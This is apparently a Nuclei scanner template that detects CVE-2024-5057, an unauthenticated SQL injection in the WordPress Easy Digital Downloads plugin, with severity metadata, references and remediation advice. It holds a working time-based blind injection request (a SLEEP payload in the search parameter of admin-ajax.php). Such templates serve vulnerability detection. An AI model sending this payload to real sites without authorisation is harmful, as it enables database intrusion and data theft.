CVE-2024-5057: WordPress Easy Digital Downloads <= 3.2.12 - SQL Injection

id: CVE-2024-5057

info:
  name: WordPress Easy Digital Downloads <= 3.2.12 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Easy Digital Downloads allows SQL Injection.This issue affects Easy Digital Downloads: from n/a through 3.2.12.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, data tampering, or full database compromise.
  remediation: |
    Update to the latest version of Easy Digital Downloads, at least version 3.3.1 or later.
  reference:
    - https://patchstack.com/database/vulnerability/easy-digital-downloads/wordpress-easy-digital-downloads-plugin-3-2-12-sql-injection-vulnerability?_s_id=cve
    - https://plugins.trac.wordpress.org/changeset/3120759/easy-digital-downloads/tags/3.3.1/src/Downloads/Search.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5057
    epss-score: 0.52994
    epss-percentile: 0.9785
    cwe-id: CWE-89
    cpe: cpe:2.3:a:awesomemotive:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: awesomemotive
    product: easy_digital_downloads
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,awesomemotive,easy-digital-downloads,unauth,sqli,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/easy-digital-downloads/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Easy Digital Downloads")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=a')/**/AND/**/SLEEP(6)%23 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(body, "[]")'
        condition: and
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